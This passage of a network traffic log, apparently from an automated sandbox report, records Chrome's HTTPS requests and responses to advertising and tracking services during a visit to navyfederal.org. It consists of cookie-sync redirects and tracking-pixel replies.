2024-05-24 22:46:05 UTC	663	OUT	GET /ad_advisor HTTP/1.1 Host: um.simpli.fi Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
2024-05-24 22:46:06 UTC	646	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Fri, 24 May 2024 22:46:06 GMT Content-Type: text/html Content-Length: 142 Connection: close Location: https://aa.agkn.com/adscores/g.pixel?sid=9201915418&sifi_uid=4F23F6C2C1D4438DAA81302CEEAB3C45 Expires: Thu, 23 May 2024 22:46:06 GMT Cache-Control: no-cache Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type
2024-05-24 22:46:06 UTC	142	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.6	49982	34.252.112.229	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:05 UTC	704	OUT	GET /adscores/g.pixel?sid=9212282598&_ppid=9f9e1ac6-39b1-40b7-a151-7c8e30cca3f1&_segid=99&iid=e9f1695c-f4b1-48ff-869b-2cf0680c4597&ona= HTTP/1.1 Host: aa.agkn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:06 UTC	809	IN	HTTP/1.1 302 Found Date: Fri, 24 May 2024 22:46:06 GMT Transfer-Encoding: chunked Connection: close Server: AAWebServer P3P: policyref="https://www.agkn.com/p3p/p3p.xml",CP="NOI NID" Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: accept, cache-control, origin, x-requested-with, x-file-name, content-type Set-Cookie: ab=0001%3A0M6lsvmTXlCVsxwwD7P4Ll3XHVJYzDz7; Path=/; Domain=.agkn.com; Expires=Sat, 24-May-2025 22:46:06 GMT; Max-Age=31536000; Secure; SameSite=None Location: https://px0.pbbl.co/adadvisor.gif?segment=000&_ppid=9f9e1ac6-39b1-40b7-a151-7c8e30cca3f1&_segid=99&_zip=&hk=&iid=e9f1695c-f4b1-48ff-869b-2cf0680c4597&mt=&bd=&cb=1716590766029
2024-05-24 22:46:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.6	49983	34.252.112.229	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:05 UTC	704	OUT	GET /adscores/g.pixel?sid=9212282598&_ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&_segid=99&iid=adfc6131-af7a-40bc-8471-a600370a4548&ona= HTTP/1.1 Host: aa.agkn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:06 UTC	809	IN	HTTP/1.1 302 Found Date: Fri, 24 May 2024 22:46:06 GMT Transfer-Encoding: chunked Connection: close Server: AAWebServer P3P: policyref="https://www.agkn.com/p3p/p3p.xml",CP="NOI NID" Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: accept, cache-control, origin, x-requested-with, x-file-name, content-type Set-Cookie: ab=0001%3AsJzHkad030GVsxwwD7P4LlvmvMHUD0O0; Path=/; Domain=.agkn.com; Expires=Sat, 24-May-2025 22:46:06 GMT; Max-Age=31536000; Secure; SameSite=None Location: https://px0.pbbl.co/adadvisor.gif?segment=000&_ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&_segid=99&_zip=&hk=&iid=adfc6131-af7a-40bc-8471-a600370a4548&mt=&bd=&cb=1716590766076
2024-05-24 22:46:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.6	49994	185.89.210.122	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:06 UTC	1047	OUT	GET /bounce?%2Fseg%3Ft%3D1%26add%3D37387871%26ver%3D9%26userid%3D357c28c3-9efd-4e35-8e20-288ff8da4a1a%253A1716590758.313698%26pe%3Dhttps%253A%252F%252Fwww.navyfederal.org%252F%26pf%3D HTTP/1.1 Host: secure.adnxs.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; XANDR_PANID=-Ku_OzYo8XmfPqMqp0ugJWmV8OZMxLowgoDskFDWt8c_VywE2vybDavkhYg8dK7U8cGP1iBLph_kJZOHzTKcBnqKBqU_Iqbm9jOco39o59c.; uuid2=3999824996912621983
2024-05-24 22:46:06 UTC	1552	IN	HTTP/1.1 200 OK Server: nginx/1.23.4 Date: Fri, 24 May 2024 22:46:06 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness AN-X-Request-Uuid: 0b787dc1-0bbd-40a9-bfe1-35b883c1e311 Set-Cookie: XANDR_PANID=-Ku_OzYo8XmfPqMqp0ugJWmV8OZMxLowgoDskFDWt8c_VywE2vybDavkhYg8dK7U8cGP1iBLph_kJZOHzTKcBnqKBqU_Iqbm9jOco39o59c.; SameSite=None; Path=/; Max-Age=7776000; Expires=Thu, 22-Aug-2024 22:46:06 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: anj=dTM7k!M4/8CxrEQF']wIg2E?d?=+XZ!@wnf-Te9(>wL5L!!'h%$u))L; SameSite=None; Path=/; Max-Age=7776000; Expires=Thu, 22-Aug-2024 22:46:06 GMT; Domain=.adnxs.com; Secure; HttpOnly Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Fri, 12-May-2034 22:46:06 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=3999824996912621983; SameSite=None; Path=/; Max-Age=7776000; Expires=Thu, 22-Aug-2024 22:46:06 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 8.46.123.175; 8.46.123.175; 954.bm-nginx-loadbalancer.mgmt.ams3.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.6	49997	52.44.96.219	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:06 UTC	500	OUT	GET /s/64581?bidder_id=200442&bidder_uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a:1716590758.313698&_=1716590763.1485915 HTTP/1.1 Host: i6.liadm.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: lidid=70344332-7801-4475-9af2-802d8d6e72cf
2024-05-24 22:46:06 UTC	226	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:06 GMT Content-Type: image/gif Content-Length: 43 Connection: close Request-Time: 0 Cache-Control: no-store Strict-Transport-Security: max-age=31536000; includeSubDomains
2024-05-24 22:46:06 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.6	49996	52.44.96.219	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:06 UTC	499	OUT	GET /s/64581?bidder_id=200442&bidder_uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a:1716590758.313698&_=1716590763.155465 HTTP/1.1 Host: i6.liadm.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: lidid=70344332-7801-4475-9af2-802d8d6e72cf
2024-05-24 22:46:06 UTC	226	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:06 GMT Content-Type: image/gif Content-Length: 43 Connection: close Request-Time: 0 Cache-Control: no-store Strict-Transport-Security: max-age=31536000; includeSubDomains
2024-05-24 22:46:06 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.6	49993	185.89.210.212	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:06 UTC	1059	OUT	GET /getuid?https%3a%2f%2fmatch.adsrvr.org%2ftrack%2fcmf%2fappnexus%3fttd%3d1%26anid%3d%24UID&ttd_tdid=00d6b47b-5df0-41e1-812e-c334ebaa9abf HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://insight.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; XANDR_PANID=NKMGS9Twxjo6H0d4xg31IMKQLgBt50x7m5TfyQMEkjYtxbArrlOOapSE9KrWT55KVffqeuEmhoYeVV8wh5UbopZeEWHDkhWgKiRbE9Z7VHw.; anj=dTM7k!M4/8CxrEQF']wIg2E?h?=+XZ!@wnf-Te9(>wL5L!!'g8$t[iH; uuid2=6116765264039870456
2024-05-24 22:46:06 UTC	1485	IN	HTTP/1.1 302 Found Server: nginx/1.23.4 Date: Fri, 24 May 2024 22:46:06 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://match.adsrvr.org/track/cmf/appnexus?ttd=1&anid=6116765264039870456&ttd_tdid=00d6b47b-5df0-41e1-812e-c334ebaa9abf AN-X-Request-Uuid: e704fdb0-2e53-43a3-9467-c1ae43a1cdd7 Set-Cookie: XANDR_PANID=NKMGS9Twxjo6H0d4xg31IMKQLgBt50x7m5TfyQMEkjYtxbArrlOOapSE9KrWT55KVffqeuEmhoYeVV8wh5UbopZeEWHDkhWgKiRbE9Z7VHw.; SameSite=None; Path=/; Max-Age=7776000; Expires=Thu, 22-Aug-2024 22:46:06 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Fri, 12-May-2034 22:46:06 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=6116765264039870456; SameSite=None; Path=/; Max-Age=7776000; Expires=Thu, 22-Aug-2024 22:46:06 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 8.46.123.175; 8.46.123.175; 942.bm-nginx-loadbalancer.mgmt.ams3.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.6	50006	34.111.113.62	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:06 UTC	670	OUT	GET /idsync/ex/receive?partner_id=2305&partner_device_id=4F23F6C2C1D4438DAA81302CEEAB3C45 HTTP/1.1 Host: pixel.tapad.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:06 UTC	1083	IN	HTTP/1.1 302 Found Date: Fri, 24 May 2024 22:46:06 GMT Strict-Transport-Security: max-age=31536000 Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Mobile Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 P3P: policyref="http://tapad-taptags.s3.amazonaws.com/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" Set-Cookie: TapAd_TS=1716590766667;Expires=Tue, 23 Jul 2024 22:46:06 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_DID=d437c4e6-2c1d-4fee-a2b0-0cd5b17a32ae;Expires=Tue, 23 Jul 2024 22:46:06 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Location: https://pixel.tapad.com/idsync/ex/receive/check?partner_id=2305&partner_device_id=4F23F6C2C1D4438DAA81302CEEAB3C45 Content-Length: 0 Server: Jetty(11.0.13) Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.6	50008	35.190.76.233	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:06 UTC	728	OUT	GET /adadvisor.gif?segment=000&_ppid=9f9e1ac6-39b1-40b7-a151-7c8e30cca3f1&_segid=99&_zip=&hk=&iid=e9f1695c-f4b1-48ff-869b-2cf0680c4597&mt=&bd=&cb=1716590766029 HTTP/1.1 Host: px0.pbbl.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:06 UTC	412	IN	HTTP/1.1 200 OK X-Content-Type-Options: nosniff X-XSS-Protection: 1 Cache-Control: must-revalidate, no-cache, no-store Pragma: no-cache Expires: 0 Content-Type: image/gif X-Cloud-Trace-Context: 1089ff658de2ec83f5ac85c2d48fc75b Date: Fri, 24 May 2024 22:46:06 GMT Server: Google Frontend Content-Length: 42 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:06 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.6	50001	35.204.74.118	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:06 UTC	679	OUT	GET /g_match?id=&google_error=3 HTTP/1.1 Host: um.simpli.fi Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
2024-05-24 22:46:06 UTC	469	IN	HTTP/1.1 204 No Content Date: Fri, 24 May 2024 22:46:06 GMT Connection: close Expires: Thu, 23 May 2024 22:46:06 GMT Cache-Control: no-cache Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.6	49999	185.89.210.212	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:06 UTC	904	OUT	GET /getuid?https%3a%2f%2fmatch.adsrvr.org%2ftrack%2fcmf%2fappnexus%3fttd%3d1%26anid%3d%24UID&ttd_tdid=00d6b47b-5df0-41e1-812e-c334ebaa9abf HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=NKMGS9Twxjo6H0d4xg31IMKQLgBt50x7m5TfyQMEkjYtxbArrlOOapSE9KrWT55KVffqeuEmhoYeVV8wh5UbopZeEWHDkhWgKiRbE9Z7VHw.; receive-cookie-deprecation=1; uuid2=6116765264039870456
2024-05-24 22:46:06 UTC	1485	IN	HTTP/1.1 302 Found Server: nginx/1.23.4 Date: Fri, 24 May 2024 22:46:06 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://match.adsrvr.org/track/cmf/appnexus?ttd=1&anid=6116765264039870456&ttd_tdid=00d6b47b-5df0-41e1-812e-c334ebaa9abf AN-X-Request-Uuid: 4c482642-9759-487e-80ac-d5805b0e5283 Set-Cookie: XANDR_PANID=NKMGS9Twxjo6H0d4xg31IMKQLgBt50x7m5TfyQMEkjYtxbArrlOOapSE9KrWT55KVffqeuEmhoYeVV8wh5UbopZeEWHDkhWgKiRbE9Z7VHw.; SameSite=None; Path=/; Max-Age=7776000; Expires=Thu, 22-Aug-2024 22:46:06 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Fri, 12-May-2034 22:46:06 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=6116765264039870456; SameSite=None; Path=/; Max-Age=7776000; Expires=Thu, 22-Aug-2024 22:46:06 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 8.46.123.175; 8.46.123.175; 942.bm-nginx-loadbalancer.mgmt.ams3.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.6	50002	172.217.16.130	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:06 UTC	1115	OUT	GET /pagead/viewthroughconversion/1026675585/?random=144126916&cv=7&fst=1716590764895&fmt=3&value=0&label=eGG0CO2U2AIQgafH6QM&guid=ON&ct_cookie_present=false&sscte=1&crd=CJW3sQIIscGxAgiwwbECCLnBsQIIgcSxAiIBAUAB&pscrd=CLa55LqA4duPASITCIWczfaup4YDFeyLgwcdxDQGuTICCAMyAggEMgIIBzICCAgyAggJMgIICjICCAIyAggLOiRodHRwczovLzk3NDk4OTIuZmxzLmRvdWJsZWNsaWNrLm5ldC8 HTTP/1.1 Host: googleads.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg
2024-05-24 22:46:06 UTC	1047	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:06 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Location: https://www.google.com/pagead/1p-conversion/1026675585/?random=144126916&cv=7&fst=1716590764895&fmt=3&value=0&label=eGG0CO2U2AIQgafH6QM&guid=ON&ct_cookie_present=false&sscte=1&crd=CJW3sQIIscGxAgiwwbECCLnBsQIIgcSxAiIBAUAB&pscrd=CLa55LqA4duPASITCIWczfaup4YDFeyLgwcdxDQGuTICCAMyAggEMgIIBzICCAgyAggJMgIICjICCAIyAggLOiRodHRwczovLzk3NDk4OTIuZmxzLmRvdWJsZWNsaWNrLm5ldC8&is_vtc=1&cid=CAQSKQDaQooLaFEJFEq1RuT_q_yfhie7XDJyD1rWqzhW8dvtHSOClo-ZMCX8&random=919291552 Content-Type: image/gif X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:06 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.6	50010	35.190.76.233	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
